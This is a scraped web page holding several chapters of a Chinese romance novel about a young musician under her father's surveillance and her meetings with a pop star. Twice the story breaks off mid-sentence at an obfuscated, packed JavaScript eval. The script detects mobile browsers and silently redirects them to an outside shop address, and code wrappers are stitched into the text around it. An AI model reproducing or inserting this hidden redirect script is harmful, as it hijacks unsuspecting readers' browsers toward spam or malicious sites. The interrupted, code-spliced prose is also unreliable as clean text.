$(''#content'').append('' 过这两行字,仿佛看到那红裙的女人就出现在她面前,为她踩住小舟的另一端。 于是,她脚下就生出岛屿,长出大陆,成了实的,稳的,能踩得住的。 恰到好处的两条来信,正提醒柳序礼,何为旧日阴影,何谓今非昔比—— 她已不再是被丢进地窖无能为力的幼童,不必再因家中掌权人一点风吹草动而胆战心惊。 如今她出道在即,她马上就能脱离柳氏,凭自己的实力累积声量,获得柳氏无权插手的关注和人脉。 譬如眼前这位,段念辞,并非她通过柳系家宴攀附,而是因她与她本质纯粹音乐观念的交锋,不打不相识。 段念辞恰好成为柳序礼用以确认好日子起始的征兆。 不再惶惶,不再虚浮,柳序礼看着段念辞的消息,重新镇静下来。 盯着那陌生号码片刻,柳序礼动动手指,回复消息: 【晚上好】 一顿,须臾,她有样学样,补上: 【我是柳序礼】 手机键盘记忆功能早就能凭首字母认出她的名字,她却还是全拼出了自己的姓名。 好像这自我介绍,不是为了说给对方听。 好像要借对方的眼睛,映出她正扣下自主人生的扳机的模样。 消息发过去,很快跳出已读回执。 这代表段念辞在线,且看到了她的回复。 柳序礼站在原地等了会儿,却没见段念辞有再回话的意思。 想来对方只是想加个好友,尚未打算通过网聊的方式,推进和她的关系。 目前就只是像丢个绳头给她,给未来的“合作”当引子。 不过,竟真有希望能合作? 这种可能性让柳序礼心潮隐约澎湃,以至移步去洗漱的脚步都轻快些许。 盥洗结束,躺在床上时,柳序礼阖眼却无困意。 醉意如晚潮漫上四肢,漫上思绪,带她重回夜宴边缘,被海风浸润的初遇,耳机外溢的歌声,飘在二人惊鸿的对视里。 她又想起段念辞。 她拿出手机,看着聊天页面那串陌生号码,手指点了点,将它存进通讯录,备注对方全名。 就在这时,她想起曲悠悠过去对她“不礼貌”的指控,说是加好友和打招呼都是曲悠悠主动发起,偶尔出去玩也都是曲悠悠主动提出,柳序礼一次都不主动,这样很不公平。 柳序礼盯着屏中“段念辞”三个字,想,这么算来,这人也主动两次,她是不是也得主动发点什么,才算公平? 既然夜已深,发个“晚安”过去,不算唐突吧。 于是柳序礼点击键盘,见聊天页面,自己头像边跳着【…】的气泡,是正在输入的显示。 她敲了“晚安”两字,还没发出,想了想,没由来删去,那【…】的气泡也随即消失。 柳序礼因自己罕见的彷徨感到好笑,正准备重新将“晚安”二字敲回去,指尖却猛然顿住。 她只见,对方的头像框边,也悬着【…】气泡。 段念辞也在输入中。 但几乎只一秒,对方的气泡转瞬消失。 似乎像她一样,打了什么字,却又很快删去。 柳序礼屏息,不再妄动,等待对面新的动态。 只是,对面或许也在等,再无新动静。 给柳序礼一种错觉,抛落在地的绳头,此时被她信手拾起,竟如拔河拉力,两边都已绷紧。 两部手机,两副矜贵。 谁都没发,谁也没走。 7. 难求 绳索绷紧,并未较量出胜负,就这么悬而未决地对峙着。 这夜,两人都没先发出消息。 让柳序礼甚至怀疑,那“输入中”的闪瞬提醒,是系统bug,或是她看走眼。 段念辞短暂为她营造过一夜血脉奔张的错觉,袖手离去,又带走一切期盼。 留柳序礼转身,又回归剑拔弩张的真实日常。 这日醒来,起床后,柳序礼照例,将墙角监控探头上蒙着的布摘下。 机器绿灯亮,正在工作中,她盯着那黑洞洞的镜头,并不确定,此时它背后,是否有人在与她对视。 她没表现出介意,反而习以为常,在监控下自然活动,取抽屉中的氟哌啶醇,仰头服下。 这药是自她小学某日,无意窥见柳守拙不见光的秘密,被亲生父亲关进疯人院两年,为出院被迫妥协,不得不服用的精神类药物。 她没病,但必须吃药,不为它疗效,而为它副作用。 这药会使人嗜睡、思维迟缓,最重要的是,记忆下降,从而安静顺从,从而遗忘旧事,真正闭嘴。 柳序礼在监控下服药后,神色自然地走出房间,准备去隔壁母亲屋中晨省。 在那之前,她拐到走廊彼端,假借咳嗽,将药片吐在掌心,熟练收进裤兜中团的纸巾里,一套动作行云流水,堪比登峰造极的魔术师。 随后,她敲响与自己一墙之隔的柳宣蝶的房门。 “进。”门后传出柳宣蝶清脆似少女的声音。 柳序礼开门,走进房间。 六姨太卧室的格局也因屈居阁楼之下,被切割得很窄,比九姑娘的房间稍好些,但依旧毫无豪门应有的阔气。 就在这狭窄的小屋床头,坐着年近四十,却风韵犹存的柳宣蝶,抬眼时神色干净,看着倒比柳序礼还要清纯: “囡囡~” 声音与眼神一样甜蜜。 “嗯。” 柳序礼只匆匆看一眼母亲,就垂了眸。 她心知母亲这套甜腻的技巧是讨好男人的本能,如今习惯到不自知在对女儿用。 她对此不适,却不会为此对母亲产生任何意见。因为柳宣蝶就是靠这点委曲求全的伎俩,才能勉强在永裕堂求生,保住自己和女儿的命—— 柳氏是港岛的望族大宗,柳守拙话事的永裕堂为嫡脉正宗。 柳宣蝶虽同姓柳,堂号却是“静远堂”。这堂号看着文雅,实则一如字面,距正宗“远”得很,是远房旁支,穷困没落的表亲。 故而柳宣蝶自幼就被寄予“巩固宗族”的厚望,接受洗脑,徒有美貌,只知讨好,完美符合豪门“无害妾室”的需求,因此得以被抬回永裕堂,被柳守拙收为小妾。 然而,豪门并不因女人无害,就会善待。 正因“同宗不同房,同姓不同支”,远房的柳宣蝶遭嫡脉轻视,柳守拙其实一直看不上这位“花瓶美人”。 而恰相反的,育有长房少爷的正妻柳太则忌惮柳宣蝶的“同姓”,唯恐她生出男丁地位提升,动摇柳太话语权。 所以丈夫在家时,柳太会挑唆离间二人关系;丈夫不在时,柳太则联合众姨太,孤立针对她。 或许,幸而最后生出的“只”是个姑娘,柳萱蝶才最终没在这场宅斗中,遭遇某种母婴具折的意外。 柳序礼看得清楚,母亲柳宣蝶如今在柳氏的地位,怕是比柳守拙在外养的那些没名没分的玩物,高不了多少。 而柳宣蝶本人看着愚蠢,实则对处境了然于心,看到女儿进屋,先怯生生地问: “吃药了吗?” “……”柳序礼喉头艰涩一滚,片刻才平静到,“一直在按时吃。” 柳宣蝶清楚得很,女儿自小学起的“精神病历”是丈夫伪造,但她只能佯装一无所知,配合地“监督”女儿服药。 而柳序礼也对此心知肚明,从未对柳宣蝶坦白自己没吞过药,面上乖顺地配合家主一切指令,以免被柳守拙看出端倪,动真格切了她前额叶白质,通过手术让她真正“失忆”。 见女儿低眉顺目,柳宣蝶不知在想什么,叹口气,朝她招招手,示意她过去。 柳序礼便走近,被柳宣蝶拉着手,牵着坐在床尾,与母亲并肩。 “囡囡,我知道你一直心里……”柳宣蝶想说什么,或许是“不高兴”,或许是“有怨”,大概顾及隔墙有耳,她还是没直白说,转道,“谢谢你愿意回宅中住。” 柳序礼低着头,没回应。 “你要是不回来,和他们对着干,妈咪的处境怕是更糟糕。” “……”柳序礼沉默良久,终于轻声道,“还能怎么对着干呢?无权无势的,真掀桌了,反倒可能死无全尸。” “瞎说!”柳宣蝶吓一跳,忙示意柳序礼噤声,警惕往闭着的门口看,听门外莫须有的声音。 好在,只有楼下柳家骏扯着嗓门的喧哗,掩盖了这一屋谨小慎微的窃语。 柳宣蝶稍松一口气,低头看柳序礼的手。母亲的手竟比女儿的还细嫩些,她摩挲着少女指腹上练琴磨出的薄茧,有些心疼: “快出道了,最近是不是练琴更勤了?有没有好好休息?” “不累。”柳序礼没有聊天兴致,但还是乖顺地应话。 柳宣蝶这些年察言观色,自是听得出女儿情绪,她低着头,神色复杂地思忖良久,才很轻很轻地开口: “妈咪没本事,全靠囡囡了。” “……嗯。” “等囡囡当上大明星,出人头地,妈咪在这宅中,也算是能扬眉吐气了。” “……” 这回,柳序礼没应。她对柳宣蝶的期待既意外,又了然。 柳宣蝶空有花容月貌,没有才艺傍身,幼时还受家中影响颇深,认知受限。 哪怕有天柳序礼“出人头地”,柳宣蝶居然也只求在这大宅中由微至显,从没想过远走高飞的可能。 “囡囡?”见柳序礼沉默,柳宣蝶轻声唤。 “嗯,嗯。”柳序礼回神,应道,“我知道了。” 柳序礼不会想说服柳宣蝶,毕竟她同曲悠悠都无法达成共识。 她早已习得如何在这虽说着相同语言,却无法彼此理解的环境中自洽独处。 她与柳宣蝶,大抵此生都只这样: 深知血浓于水,寸草春晖,也深知方枘圆凿,扞格不入。 * 下午,柳序礼被召回经纪公司开会。 她隐约察觉过经纪人签约前后态度有变,想过是不是自己错觉,然而今日体感更明显,经纪人对她耐心很差。 柳序礼的音乐天赋毋庸置疑,但在职场人情世故方面还只是新兵。 从自由创作人到乐坛艺人,她还缺些经验常识,经纪人与法务却没似签约前那样事无巨细给她讲解,而是赶场般信息轰炸: 档期、置换、商务、热搜、舆情、KPI、对标艺人、版权分成、违约金条款…… 一句叠着一句,几乎不给她喘息的时间,往她耳中灌。 柳序礼本就对声音敏感,又经这么一遭,大脑险些过载,以至于会议中场休息,她还在头皮发麻。 只能拖着疲惫身躯,到走廊边消防通道下的拐角,倚墙靠着,将手机备忘堪堪记录的几个关键词复制到浏览器,逐一查词条。 事后补课,再一复盘,方才的会议就在她脑中通透。 其实柳序礼理解能力很强,否则也不足以小学中学跳过好几级,基础概念她一点就通,前提是给她时间。 柳序礼疑惑,经纪人为何刚才,偏不给她这一点点时间。 毕竟是曲悠悠推荐的人脉,她依旧倾向于信任,便将这称得上无伤大雅的细枝末节,理解为某种初入职场的服从性测试。 毕竟是艺人,提前杀锐气,或许日后成名也不至于难管理。 手机铃响,打断柳序礼思绪,她低头看,是曲悠悠来电。 她接通,对面长她几岁的小姐姐习以为常同她撒娇: 【柳絮,要不要出来玩~】 声线轻快,让柳序礼对比之下,更清楚察觉自己此刻气压有多低。 她稍提声线,故作轻松,“抱歉,去不了。经纪 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柳序礼借那手机泄露的余音判断,男人大概是在和女友争执。她怕吵到曲悠悠,也无意偷听隐私,捂着手机收音口往下走。 奈何空旷回旋的走廊,导音效果太好,柳序礼连走两层,男人毫不收敛的怒音依旧如犹在耳。 直到,男人喊出的某个名字,牵住了柳序礼的脚步—— “我去哪给你搞段念辞的to签?!” 段念辞? 柳序礼脚步渐缓。 原来,是男人与这新女友交往不久,得知他在港娱大厂工作,女友以为有业内渠道,可以讨到巨星的to签,不依不饶央了几回。 男人反复声明,并非在业内就能近水楼台,且不说公司间的竞争关系导致泾渭分明,单说拥有独立工作室的段念辞本人行踪难测,一直是业内知名难接近的那个。 哪怕是龙头媒体举办的群星璀璨的年度大赏,都未必请得到天后赏光。段念辞愿意参加什么活动,偏好什么代言,与哪些艺人交情不错,至今仍为狗仔坚持不懈挖掘、为大众津津乐道的热点。 “……我不愿为你花心思?你怎么不说你在刻意刁难我!”男人忍无可忍咆哮道,“我直说了,段念辞的to签比撮合你和黎生吃顿晚饭的难度都大!分手就分手,总比要我命来得强!” 黎生,柳序礼略有耳闻,应该是影帝,至于有什么作品,她不太关注,也不了解。 反正听起来,就是to签难倒了那男人,他甩下分手宣言,同时,也狠狠甩上了消防通道的门。 嗙。 沉重金属门砸上钢框,发出炮弹炸裂般的巨响,在旋廊中不住回响,余音浩荡,震得柳序礼耳鸣不断。 素质堪忧。 情绪更差的柳序礼不由得腹诽: 假若这人站在千金难求一见的段念辞本尊面前,是否还敢如在她这新人,或女友面前那般,彰显真性情。 心脏仍在钝钝下沉,一日不顺,加之此刻廊中残留的烟臭味,让柳序礼更加烦躁。 【……你坐这里!……啊呀,我还在打电话……】 手机那边传来曲悠悠稍远的声音,大概在与身边正靠近的某人说话,注意到与柳序礼的通话尚未挂断,曲悠悠声音又近过来: 【喂喂?】 还好那边曲悠悠注意被转移,没听到这边通道里的骚乱,柳序礼正要答话,耳中却捕捉到对面爵士乐的背景音里,一个忽近忽远的女声: 【……和谁?】 轰然一下,仿若方才已然合拢的门,又在她头顶砸一下。 神定之后,心跳不止。 柳序礼听出那女声是谁了。 无论多少遍,她都会被那音色惊艳,也因惊艳太多次,她几乎不会认错那人的声音。 段念辞。 段念辞在曲悠悠身边。 于是,本不住下沉的心脏,就因听见那人丝绒蜜糖的慵懒声线,就软绵绵、轻飘飘地被托举。 不愧为天后巨星,与生俱来的魅力,好像只要听到她声音,心情就会好起来。 8. 再会 【……是柳絮哦!……】曲悠悠先和段念辞解释,然后凑近手机,【柳絮,小姨今天陪我玩,她就在我边上,来打个招呼!】 被点得猝不及防,柳序礼像过年被家长硬拎上场喊亲戚的小孩,只觉头皮发麻。 回廊很静,柳序礼好像连自己的呼吸都能听出回声。手机那边传来商铺小资情调的音乐,反衬托两方的沉默。 对面一言不发,是在等。 柳序礼喉头一滚,开口时声线较平时更哑,终于问候: “你好,段念辞。” 【……】 良久无声。 先回应的是曲悠悠,直接炸毛: 【柳絮!你怎么能连名带姓……要随我一起叫小姨啊!没礼貌!】 曲悠悠咋咋呼呼的声线后,隐着另一人几丝漫不经心的笑声。 没被柳序礼的耳朵遗漏。 那笑带着气音,带着鼻音,很有画面感。 几乎让柳序礼幻视女人正斜卧在沙发上,耳边贴着复古转盘电话的听筒,手指缠绕着电话线,似有若无地笑着,懒洋洋地看过来。 这阵莫须有的对视,让柳序礼握着手机的指头都紧了紧。 【柳絮!你重新说!】曲悠悠习惯当她人情世故的老师,非要在此时纠她臭毛病。 以往柳序礼都算配合的,可这天她有点名不正言不顺的小情绪,让她开不了这个口,而她也不知道为什么。 【咁硬颈。】 听她默不作声,曲悠悠嘟嘟哝哝开始给身边的小姨吐槽她犟,说起两人在海外求学时,柳序礼的各种人机操作。 柳序礼本来不想曲悠悠讲,大概不想在段念辞面前出洋相。但听着那边段念辞偶尔回应的一两声“嗯”,依旧带笑意,似乎愉悦的样子,她就又作罢。 毕竟,那日理万机的人,听着她的糗事居然不仅不无聊反倒有趣,就好像是,对她存有好奇。 忆往昔之后就是怀伤环节,曲悠悠提起没法参加的柳序礼出道发布会,开始遗憾: 【……我不在国内,没人罩着你,柳絮你一个人,可不能再那么莽撞了!……】 柳序礼咧咧嘴角,正想应个“嗯”算了,那边就传来说话声: 【你的发布会是哪一天?】 没带称呼,加之那人各种意义上都距曲悠悠更近,以至于柳序礼第一时间没反应过来,那个直白的“你”,指的其实是柳序礼。 以至于脑子转过弯来时,柳序礼仍觉得难以置信。 简直就像幻视中沙发上的女人直接放下听筒,挂断电话,抬眸望向她,面对面同她问话。 被电磁压缩过的蜜嗓好似连浓度都加倍,让柳序礼从耳膜黏腻到脑子里。 于是,忽略上一秒曲悠悠还在提醒的“别莽撞”,下一秒柳序礼就梗着脖子说: “为什么问?你是打算到场?” 【……】 【柳!序!礼!】那边曲悠悠发出尖锐爆鸣。 柳序礼没觉得自己说的有问题,毕竟刚还有个男人在她头顶闹段念辞一面难求,这会儿段念辞本人就亲自来问她行程。 她不觉得段念辞是没话找话那种人,做事说话总有目的,她由此猜那人或许要出席,合情合理。 【柳序礼,】这回唤她名的声音温雅沉静,是段念辞的,轻声道,【我可以理解为,这是邀请吗?】 【……】 柳序礼清楚听到那边曲悠悠哽塞的喉音,和自己的叠在一起。 两个小年轻都没料到段念辞会这么回应,脑回路都短暂打了结。 数秒后,柳序礼耿直道: “不是。”一顿,又补充,“但想怎么理解,随你。” 【……】 【柳!序!礼!】曲悠悠破防,骂骂咧咧,【你是人?你是人啊?】 结果还是耐心给柳序礼讲清这样回话没礼貌,曲悠悠才佯怒着挂断电话,留她独自反省。 回廊里还沉着油漆与烟灰的气味,空气中的浮尘飘飘摇摇坠落,连带着她方才通话时振奋的神经一起。 柳序礼没怎么好好反省。 她琢磨的是,结果还是没能把出道日告诉段念辞。 于是也没能从段念辞那边,讨个是否出席的明确答案。 悬而未决的拉力又在继续。 还得钓她忐忑几日。 * 送机这天,曲悠悠约她在机场咖啡厅见面。 白加道距赤鱲角机场较远,单打车柳序礼还是吃不消,搭地铁转车好几道。 港岛入秋时,天气依旧濡热。 她进地铁口时,冷热对比明显,被空调冻起一身激灵,恍惚又送她回到波士顿的冬季—— 坐在琴房里中场休息,专注时她没注意到,暖气片正发出沉闷哐当声,每隔十几秒就会响一次,大概这就是校园论坛反馈的“噪音”,而她暂停练琴时才听见。 转头透过窗,可见伯克利校园的麻州大道,路面残留着上回暴风雪未化尽的盐粒,与脏兮兮的雪泥一起泛着路灯的光。 这时却又飘飘摇摇下起鹅毛雪,是最冷的时候,但柳序礼还是决定这时离开。 因为再晚,琴房管理员就会扣她超时费了。 到门口岗亭刷卡时,她恰见那位来自委内瑞拉的同学正和管理员扯皮,原来是他几度超时都没正常交罚款,已经被拉入黑名单。 看见柳序礼出来,管理员还特地拿她举例,让那男生学着点她的高效率,人家用琴房就从不超时,当然不用罚金。 那男生哀嚎着抗议,这是效率问题吗?Lau她那手扫弦时的速度,快得都要出残影,教授有时都看不清。他要有那双手,还至于勤奋到超时吗。 可惜管理员不会同情他,把岗亭小窗玻璃拉上,将他的求饶和随即的破口大骂关在耳外。 这样“不近人情”的小故事,时时在信用社会发生,柳序礼也已见怪不怪。 她背着琴箱,独自走进波士顿的冬夜。 风从查尔斯河彼端吹来,带着冰碴与水汽,穿透她毛衣,钻进五脏六腑里。她将领口竖起,把手抄进大衣口袋,快步走向公交站。 避免同寝发现实际消费水平,她没住校。这个点已经没有橙线了,她只能坐夜班公交,一小时一班,等车时要在寒风中站四十分钟,好在天黑地冷,不会遇见同学。 公交车站旁有个流浪汉,裹着睡袋缩在墙角,睡袋上蒙着层薄霜。她朝那瞥了匆匆一眼,便收回视线。 风雪在她长睫上积了小小一层,她垂着眼,心想,若她像那委内瑞拉的同学一样常超时,要么就会被拉黑没琴房可用,要么就得支付计划外的罚款,直到有天,和这位流浪汉一样睡大街。 去伯克利求学的第一年是最难的,因为缺钱。 一年学杂林林总总约要九万刀,柳守拙没出这笔钱,柳序礼也没开口要。 她不想柳守拙干涉自己人生,否则他借机过问太多,于她而言反倒不利。 录取时的全奖也不够覆盖所有开销,她的记账软件上至今仍存海外求学时的记录,每笔支出都很详细: 超市的意面、地铁的月票、月抛的琴弦、二手书店淘来的乐理教材…… 甚至不太敢生病,因为这意味着可能超支,突破AliceLine。 红线以上苟延残喘,红线以下辙乱旗靡。 这种局促,在她参加各大赛事刷脸获得知名度,参加些带酬活动后,才勉强好起来。 但也没进入良性循环。 更高的收入意味着更高的消费,柳序礼反而要为自己的知名度支付更多维系费用—— 毕竟信用社会,维持体面并非虚荣,而是求生之道。 在这样的社会里,一位白领的破产,不是在刚发现账单出现赤字时,而是在其领导与同事发现这账单赤字时。 于豪门家世的留学生而言,更是如此。 若是柳序礼的窘迫为人所知,引发外界对她和柳氏关系的猜忌,反倒可能导致资本出于权衡和投诚,让她失去更多挣钱的机会。 所以,柳序礼其实缺钱这事,连曲悠悠都是快毕业了才真知情。 确定曲悠悠人品可信,她才坦白自己处境。 曲悠悠得知少女的卧室甚至明牌悬着父亲的监控探头,难以置信到差点要报警。 念及此举未必能让柳守拙受罚,反倒可能让柳序礼处境更糟,曲悠悠还是没这么做。 对此,柳序礼比曲悠悠镇定得多,她早习惯那探头的存在,更衣睡觉时找布把它盖上,平日活动就让它正常工作。 总比不让明摆着监控,于是被暗中跟踪窃听来得好。 “可是,我不明白……”曲悠悠百思不得其解,“如果柳守拙真有心监视你限制你,你在海外参赛,他居然都不干涉,任由你发展吗?” “……” “他居然不忌惮你,难道丝毫不知你其实这么天才这么有实力吗?”曲悠悠信誓旦旦,“我的直觉告诉我,柳絮,你的未来前途无量,一片光明!” “……呵,谢谢。” 柳序礼当然想过这个问题,或许出于柳守拙身为父亲的漠不关心,或许出于富豪的傲慢与自信,柳守拙确实不过问她。 只在港留个探头,作为悬于她头顶的达摩克里斯之剑。 它的象征意义远大于实际,背后是否真有人时刻盯梢,无关紧要。它只要悬在那里,就意味着交战,意味着这对母女如履薄冰,永无宁日。 只要柳守拙没有剪线让剑砸下来,柳序礼就只能姑且与它共存,韬光养晦、暗度陈仓。 “不过没关系!柳絮,你这只潜力股我买了!毕业后出道,你必大富大贵,到时候必狠狠打那柳老头的脸!” 如此口头保证的曲悠悠,也如此身体力行在做,毕业后就给她托人脉找几家可靠的经纪公司。曲悠悠强推的是两家,一是柳序礼现在签约的港娱龙头乐皇,另一家是她眼生的辞音工作室。 如今柳序礼再想来,那辞音工作室,或许可能是段念辞的。 地铁出站,还差一段路,柳序礼这才沿街打了辆车。 的士出发时,柳序礼收到曲悠悠在咖啡厅的短信,问她快到没,喝什么,要不要提前点单到了就能喝。 柳序礼回,都行。 【那我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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曲悠悠又补充,“不过她刚走……” 柳序礼垂下睫毛,屏住的呼吸叹出,莫名有点沉。 “啊,回来了。” 与曲悠悠惊喜声线一同响起的,是渐近的脚步声。 随即是逐渐浓郁的海洋香,让柳序礼记起那个如梦似幻的初遇之夜。 柳序礼抬眼就看见段念辞。 那人今日的穿着很休闲,带点中性的洒脱感。压着棒球帽,将面部本就窄小的骨相笼进阴影里。上身是宽松T恤,下摆收进高腰牛仔裤里,勒出起伏有致的曲线。 凭出挑的身材比例,就将常服穿出礼裙的质感。柳序礼稍盯几眼,才确定那衣裤没什么出神入化的版型剪裁,纯粹只是被那人穿得很好看。 “小姨,你洗完手啦?”曲悠悠拉身边的椅子,“坐!咦,你怎么把咖啡端来了?” 段念辞没急着坐,先应,“刚好吧台出餐,我顺路带过来。” 随后抬眼,看向同样站着的少女,启唇: “你好,柳序礼。” 分明听惯的姓名,经由那人唇齿,莫名带点缱绻。 段念辞没随曲悠悠一起唤她昵称,执意叫全名,略带疏离与郑重。 柳序礼有点喜欢这种处理。 “你好,段念辞。”她回。 曲悠悠:“柳序礼,我真得控制你了。” 柳序礼:“。” 两人这才落座,曲悠悠开始分咖啡。 柳序礼瞥一眼,见曲悠悠点的是拿铁,奶色很重;段念辞面前的则是美式,没加奶的样子,颜色浓黑。 “小姨,今天就先放过你。”曲悠悠哼道,“下次不许在我面前喝那种苦兮兮的东西,这不是纯自虐吗!” “悠悠……”段念辞拖着尾音。 曲悠悠捂耳朵,“我不听道理,我就不讲道理。” 柳序礼抿嘴,被逗笑,她不反感曲悠悠的任性,甚至有点羡慕。 “……没想讲道理,”段念辞转而说,“是想问,柳序礼喝奶咖,是自愿的吗?” 柳序礼一怔,抬眼看去,见段念辞没看向她,话是问曲悠悠的,她就没主动应。 那边曲悠悠理不直气也壮,“什么话!她没意见!” 柳序礼:“……” 段念辞:“真的?” 曲悠悠:“她很爱喝!” 柳序礼:“…………” 早已放弃挣扎的柳序礼举杯,饮一口馥芮白。 那边曲悠悠还在骄纵地扬着下巴:“柳絮再喝都要喝成苦瓜了。小姨,我不在国内,你以后也要这么给她点咖啡,知道吗?” 柳序礼饮杯的手一顿。 随后便听那边段念辞不置可否,模棱两可的一声“嗯”。 浓厚的咖啡底过喉,轻柔的奶味泛上来,带着醇香。 柳序礼放下咖啡杯,琢磨着馥芮白的回甘。 以后。吗。 9. 呆狗 虽是来送别,咖啡厅里却比预想中的静。 柳序礼只时不时抿几口馥芮白,全程基本都是曲悠悠在喋喋不休,有时跟她讲,有时跟小姨讲。 段念辞偶尔搭腔,多数时只安静听。 柳序礼偶尔就往那人那边瞥几眼,也不说话,只是看。 轻微脸盲大概就是这点好,记不住样子,于是每次看到,都像初见,被美得心一悸。 尤其那人今日只穿常服,整个人气质也因穿着显得格外悠然,单手支着虚托腮,另一手则捏着柄长勺,在咖啡杯里慢慢划圈。 咖啡液面随她旋转,堪堪因惯性绕起漩涡时,女人就会突然逆向,让液面碰撞,掀起小小水花。 也不知坏心眼的人是不是在出其不意。 反正不备的柳序礼总会因此呼吸一顿,怕小动静被抓包偷看,会心虚地先悄悄降下视线。 “……柳絮!……柳序礼!”曲悠悠提高音量。 “啊。”柳序礼回神,“嗯?” “呆狗!”曲悠悠骂她,“干嘛不听人说话,注意都去哪了?” “……”柳序礼低头喝咖啡。 “悠悠,”那边段念辞放下勺柄,轻声道,“就算是朋友,这样说也不好。” “唔……”曲悠悠委屈呜咽两声,才说,“这算是爱称,柳絮自己也不反感的。对吧柳絮?” 柳序礼看一眼曲悠悠,又看一眼打量过来的段念辞,又饮一口咖啡,“嗯。” “柳絮,还记得我之前用哪个品种的小狗描述你吗?” “……”柳序礼记得,“边牧。” “对!” 曲悠悠得意,转头又去跟段念辞讲,邀功似的: “小姨,是不是很贴切?” 端咖啡杯的手险些不稳,柳序礼在杯沿抬眼看向被询问的人,恰见段念辞也看过来,神色带点玩味,似乎真在观察是否贴切。 让柳序礼紧张起来。 “哪儿贴切?”段念辞看回曲悠悠,淡笑着问。 “哪儿都贴切!”曲悠悠义正辞严,“外形看似高冷,实则性格软萌,最重要的是,智商很高!” 柳序礼:“……” “众所周知,狗是狗,边牧是边牧!……如果把我也比作狗的话,大概会是哈士奇?恰恰得是我这样没心眼的笨蛋小狗,反而能跟天才小狗玩到一块去!” “夸朋友倒不必以自贬的方式。”段念辞轻声提醒。 “知道小姨心疼我!”曲悠悠恃宠而骄嘿嘿傻笑,然后蹬鼻子上脸,“小姨,以后我不在家,就把小狗托孤给你啦!” 柳序礼:“……?” “……托孤。”段念辞屏着笑重复。 曲悠悠说:“哎呀就是那么个意思!小姨,你会替我好好养小狗的吧?” 段念辞挑眉,“我为什么要替你养狗?” 柳序礼:“……??” 就这么默认她是边牧的设定了? 曲悠悠自信道:“当然是因为爱屋及乌啦!小姨宠我,所以也会宠我的小狗!” 柳序礼:“……???” 越说越离谱,她有点想打断了,来不及开口,先听那边段念辞说: “不好意思咯,悠悠。我不会爱屋及乌。” 这话乍一听是拒绝,实则细品,仿若又有另一层意味。 柳序礼不太确定,就又往段念辞那边看。 就见那人垂着眼眸,情绪讳莫如深,不知在想什么。段念辞没再捏那勺柄玩弄咖啡,只是状似无意地把指腹落在杯壁上。 却又不落实,似有若无地贴着,恰好牵动一点水汽,撩出湿漉漉的痕迹。 都有点不太像在摸杯子。 更像在牵人神经,撩人脊骨。 若这打发时间的小动作真是无意,简直堪称媚骨天成。 曲悠悠本就是开玩笑,见段念辞不搭茬,也无所谓,转眼看见什么,疑惑地问: “柳絮……你很渴吗?” 柳序礼这才注意到,自己方才就着眼前景,咖啡一口接一口,转眼居然见了底。 “要续杯吗?”曲悠悠又问。 “……不用。”柳序礼答。 再喝一杯又不知不觉见底,岂不是更狼狈。 柳序礼放下咖啡杯,将它推远,眼不见为净似的,同时也限制视线,不再不受控地往某人那边飘。 “要去闸口了,差唔多够钟。”曲悠悠看了眼时间,起身。 三人一同站起来。因段念辞身份,不能送到闸口,怕引起机场骚动,就只能止步于此。 姨甥俩没多遗憾,估摸着平日也聚少离多,不过好在私下联系频繁,不差这一会儿。 只柳序礼低着头,心不在焉,短短一会儿,就经历两度分别的遗憾。 到了闸口,曲悠悠转身过来,就看到柳序礼垂头丧气。少女表情没什么大变化,可就是一眼就能叫人看出委屈。 曲悠悠于是牵柳序礼的手,轻轻晃,“别难过啦,我到那儿也会跟你常联系的,嗯?” “……”柳序礼喉头一滚,头低得更深。 从曲悠悠视角看来,好似少女眼睑内的红色漫出来,把眼眶都染红。 越是高冷难养的小狗,养熟后越容易有分离焦虑。因为不是跟谁都能好,于是认准某个人,就要追随一生。 曲悠悠叹一口气,本不想把送机搞得伤感,眼下见柳序礼如此,难免动容,坦白: “柳絮,其实我刚才说谎了。” “嗯?”柳序礼抬眼,不知曲悠悠指的是什么。 “就是说,我是哈士奇,是没心眼的笨蛋小狗之类的……” “啊……”柳序礼想起来了。 曲悠悠微仰着头,认真看着身量较她稍高的少女,机场明亮顶灯投落,因两人高度差,形成小小阴影,将曲悠悠笼于其中。 “柳序礼,”曲悠悠严肃喊她全名,“其实我不是笨蛋,也不是没心眼。我知道别人为什么不敢靠近你,不敢跟你交朋友,因为,被天才的光芒遮蔽,于是没被看到自己也在发光,其实是很悲哀的。” 柳序礼眸光一滞,心头一颤。 她深知此事,却没想到曲悠悠会在这时翻旧账,难不成反正要离别,干脆说白,彻底断绝? 她稍有恐慌,不知怎么办。 这情绪也落进曲悠悠眼中,八面玲珑的女生看得清清楚楚: “我深知这种悲哀。毕竟我是离你最近的朋友,大概是‘关系的诅咒’,我受到的反噬更多,体验更深。” “……对不起。”柳序礼只能苍白道歉。 “柳序礼,你不用道歉,我也不是全然没有道德污点。” “嗯?” “其实啊,我一直很嫉妒你的!” “……嗯。” “我就是个阴暗小人,所以,我私下会暗戳戳诅咒你……” “……” “诅咒你,今后有很多放不下的朋友。” 柳序礼一怔,抬眼看回来,险些以为自己听错。 曲悠悠拉扯情绪的小计谋得逞,得意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554386|204413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地笑: “我还要诅咒你,享尽人间荣华富贵。 “咒你的心也填满一个爱人。 “于是体验过我们凡人庸俗的幸福,最后再也回不去高高在上的神坛! “天才坠落凡间,眷恋尘世。这就是我的阴谋!” 两人对视,沉默地站立。大厅里人来人往,世界依旧在她们背后运转,无人注意到她们。 于是就像过往四年一样,柳序礼不足为外人道的小小触动,只有面前的曲悠悠能看见。 “柳序礼,我说话很准的,所以你要做好准备受着!” “……嗯。” “可别被接下来的好日子砸个措手不及哦!” 